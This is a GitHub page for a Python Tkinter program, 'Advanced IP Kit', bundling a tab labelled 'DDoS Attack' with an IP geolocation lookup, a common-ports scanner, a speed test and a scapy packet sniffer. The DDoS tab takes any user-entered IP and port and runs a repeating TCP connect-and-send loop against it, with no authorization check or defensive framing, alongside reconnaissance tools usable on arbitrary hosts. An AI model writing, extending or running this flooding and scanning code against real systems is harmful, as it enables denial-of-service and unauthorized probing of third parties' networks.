-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathAdvancedIPKit.py
277 lines (227 loc) · 11.4 KB
/
AdvancedIPKit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
import tkinter as tk
from tkinter import ttk
import requests
import socket
import threading
import time
from scapy.all import sniff
import speedtest
class AdvancedIPKit:
def __init__(self, root):
self.root = root
self.root.title("Advanced IP Kit | Github/wiced1")
self.root.geometry("800x600") # Increased size for better visibility
self.create_widgets()
def create_widgets(self):
# Create tabs
self.notebook = ttk.Notebook(self.root)
self.notebook.pack(expand=True, fill='both')
self.create_tab('DDoS Attack', self.create_ddos_tab)
self.create_tab('IP Lookup', self.create_ip_lookup_tab)
self.create_tab('Port Scanner', self.create_port_scanner_tab)
self.create_tab('Bandwidth Tester', self.create_bandwidth_tester_tab)
self.create_tab('Packet Sniffer', self.create_packet_sniffer_tab)
def create_tab(self, tab_name, content_func):
tab_frame = ttk.Frame(self.notebook)
self.notebook.add(tab_frame, text=tab_name)
content_func(tab_frame)
def create_ddos_tab(self, frame):
# DDoS Attack elements
self.target_ip_label = tk.Label(frame, text="Target IP:")
self.target_ip_label.pack(pady=5)
self.target_ip_entry = tk.Entry(frame, width=30)
self.target_ip_entry.pack(pady=5)
self.target_port_label = tk.Label(frame, text="Target Port:")
self.target_port_label.pack(pady=5)
self.target_port_entry = tk.Entry(frame, width=30)
self.target_port_entry.pack(pady=5)
self.ddos_start_button = tk.Button(frame, text="Start Attack", command=self.start_ddos_attack, bg="red", fg="white", font=("Helvetica", 12, "bold"))
self.ddos_start_button.pack(pady=10)
self.ddos_status_label = tk.Label(frame, text="Status: Idle")
self.ddos_status_label.pack(pady=5)
self.ddos_output = tk.Text(frame, height=10, width=50, state='disabled')
self.ddos_output.pack(pady=10)
self.stop_ddos_button = tk.Button(frame, text="Stop Attack", command=self.stop_ddos_attack, bg="grey", fg="white", font=("Helvetica", 12, "bold"))
self.stop_ddos_button.pack(pady=10)
self.attack_thread = None
self.attack_running = False
def start_ddos_attack(self):
target_ip = self.target_ip_entry.get()
target_port = self.target_port_entry.get()
if not target_ip or not target_port:
self.update_ddos_output("Error: IP or port cannot be empty.")
return
self.attack_running = True
self.ddos_status_label.config(text="Status: Attack started")
self.update_ddos_output("DDoS attack started.\n")
self.attack_thread = threading.Thread(target=self.tcp_flood, args=(target_ip, int(target_port)))
self.attack_thread.daemon = True
self.attack_thread.start()
def stop_ddos_attack(self):
self.attack_running = False
self.ddos_status_label.config(text="Status: Attack stopped")
self.update_ddos_output("DDoS attack stopped.\n")
def tcp_flood(self, target_ip, target_port):
while self.attack_running:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
s.connect((target_ip, target_port))
s.sendto(b'GET / HTTP/1.1\r\n', (target_ip, target_port))
s.close()
self.update_ddos_output("Packet sent to {}:{}".format(target_ip, target_port))
except Exception as e:
self.update_ddos_output(f"Error: {str(e)}")
break
time.sleep(0.1) # Adjust delay to control attack speed
self.update_ddos_output("Attack finished.\n")
def update_ddos_output(self, message):
self.root.after(0, self._update_ddos_output, message)
def _update_ddos_output(self, message):
self.ddos_output.config(state='normal')
self.ddos_output.insert(tk.END, message + '\n')
self.ddos_output.config(state='disabled')
self.ddos_output.yview(tk.END)
def create_ip_lookup_tab(self, frame):
# IP Lookup elements
self.ip_lookup_label = tk.Label(frame, text="Enter IP Address:")
self.ip_lookup_label.pack(pady=5)
self.ip_lookup_entry = tk.Entry(frame, width=30)
self.ip_lookup_entry.pack(pady=5)
self.ip_lookup_button = tk.Button(frame, text="Lookup IP", command=self.lookup_ip, bg="cyan", fg="black", font=("Helvetica", 12, "bold"))
self.ip_lookup_button.pack(pady=10)
self.ip_lookup_output = tk.Text(frame, height=15, width=80, state='disabled')
self.ip_lookup_output.pack(pady=10)
def lookup_ip(self):
ip_address = self.ip_lookup_entry.get()
if not ip_address:
self.update_ip_lookup_output("Error: IP address cannot be empty.")
return
self.update_ip_lookup_output("Loading...")
threading.Thread(target=self.ip_lookup_task, args=(ip_address,), daemon=True).start()
def ip_lookup_task(self, ip_address):
try:
url = f"https://ipinfo.io/{ip_address}/json"
response = requests.get(url, timeout=10)
data = response.json()
output = (
f"IP Address: {data.get('ip', 'N/A')}\n"
f"Hostname: {data.get('hostname', 'N/A')}\n"
f"City: {data.get('city', 'N/A')}\n"
f"Region: {data.get('region', 'N/A')}\n"
f"Country: {data.get('country', 'N/A')}\n"
f"Location: {data.get('loc', 'N/A')}\n"
f"Organization: {data.get('org', 'N/A')}\n"
)
except requests.exceptions.RequestException as e:
output = f"Error: {str(e)}"
self.update_ip_lookup_output(output)
def update_ip_lookup_output(self, message):
self.root.after(0, self._update_ip_lookup_output, message)
def _update_ip_lookup_output(self, message):
self.ip_lookup_output.config(state='normal')
self.ip_lookup_output.delete(1.0, tk.END)
self.ip_lookup_output.insert(tk.END, message)
self.ip_lookup_output.config(state='disabled')
def create_port_scanner_tab(self, frame):
# Port Scanner elements
self.port_scan_label = tk.Label(frame, text="Enter IP Address:")
self.port_scan_label.pack(pady=5)
self.port_scan_entry = tk.Entry(frame, width=30)
self.port_scan_entry.pack(pady=5)
self.scan_ports_button = tk.Button(frame, text="Scan Ports", command=self.scan_ports, bg="green", fg="white", font=("Helvetica", 12, "bold"))
self.scan_ports_button.pack(pady=10)
self.port_scan_output = tk.Text(frame, height=15, width=80, state='disabled')
self.port_scan_output.pack(pady=10)
def scan_ports(self):
ip_address = self.port_scan_entry.get()
if not ip_address:
self.update_port_scan_output("Error: IP address cannot be empty.")
return
self.update_port_scan_output("Scanning...")
threading.Thread(target=self.port_scan_task, args=(ip_address,), daemon=True).start()
def port_scan_task(self, ip_address):
common_ports = [21, 22, 23, 25, 53, 80, 110, 143, 443, 993, 995]
open_ports = []
for port in common_ports:
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
result = sock.connect_ex((ip_address, port))
if result == 0:
open_ports.append(port)
sock.close()
except socket.gaierror:
self.update_port_scan_output("Error: Invalid IP address.")
return
except Exception as e:
self.update_port_scan_output(f"Error: {str(e)}")
return
if open_ports:
open_ports_str = ', '.join(map(str, open_ports))
output = f"Open ports: {open_ports_str}"
else:
output = "No open ports found."
self.update_port_scan_output(output)
def update_port_scan_output(self, message):
self.root.after(0, self._update_port_scan_output, message)
def _update_port_scan_output(self, message):
self.port_scan_output.config(state='normal')
self.port_scan_output.delete(1.0, tk.END)
self.port_scan_output.insert(tk.END, message)
self.port_scan_output.config(state='disabled')
def create_bandwidth_tester_tab(self, frame):
# Bandwidth Tester elements
self.bandwidth_test_button = tk.Button(frame, text="Test Bandwidth", command=self.test_bandwidth, bg="blue", fg="white", font=("Helvetica", 12, "bold"))
self.bandwidth_test_button.pack(pady=10)
self.bandwidth_output = tk.Text(frame, height=10, width=80, state='disabled')
self.bandwidth_output.pack(pady=10)
def test_bandwidth(self):
self.update_bandwidth_output("Testing bandwidth...")
threading.Thread(target=self.bandwidth_test_task, daemon=True).start()
def bandwidth_test_task(self):
try:
st = speedtest.Speedtest()
st.get_best_server()
download_speed = st.download() / 1_000_000 # Convert to Mbps
upload_speed = st.upload() / 1_000_000 # Convert to Mbps
ping = st.results.ping
output = (
f"Download Speed: {download_speed:.2f} Mbps\n"
f"Upload Speed: {upload_speed:.2f} Mbps\n"
f"Ping: {ping} ms\n"
)
except Exception as e:
output = f"Error: {str(e)}"
self.update_bandwidth_output(output)
def update_bandwidth_output(self, message):
self.root.after(0, self._update_bandwidth_output, message)
def _update_bandwidth_output(self, message):
self.bandwidth_output.config(state='normal')
self.bandwidth_output.delete(1.0, tk.END)
self.bandwidth_output.insert(tk.END, message)
self.bandwidth_output.config(state='disabled')
def create_packet_sniffer_tab(self, frame):
# Packet Sniffer elements
self.packet_sniff_button = tk.Button(frame, text="Start Packet Sniffer", command=self.start_packet_sniffer, bg="grey", fg="white", font=("Helvetica", 12, "bold"))
self.packet_sniff_button.pack(pady=10)
self.packet_output = tk.Text(frame, height=15, width=80, state='disabled')
self.packet_output.pack(pady=10)
def start_packet_sniffer(self):
self.update_packet_output("Sniffing...")
threading.Thread(target=self.packet_sniffer_task, daemon=True).start()
def packet_sniffer_task(self):
def packet_callback(packet):
self.update_packet_output(f"Packet: {packet.summary()}")
sniff(prn=packet_callback, count=10) # Adjust count as needed
def update_packet_output(self, message):
self.root.after(0, self._update_packet_output, message)
def _update_packet_output(self, message):
self.packet_output.config(state='normal')
self.packet_output.insert(tk.END, message + '\n')
self.packet_output.config(state='disabled')
self.packet_output.yview(tk.END)
if __name__ == "__main__":
root = tk.Tk()
app = AdvancedIPKit(root)
root.mainloop()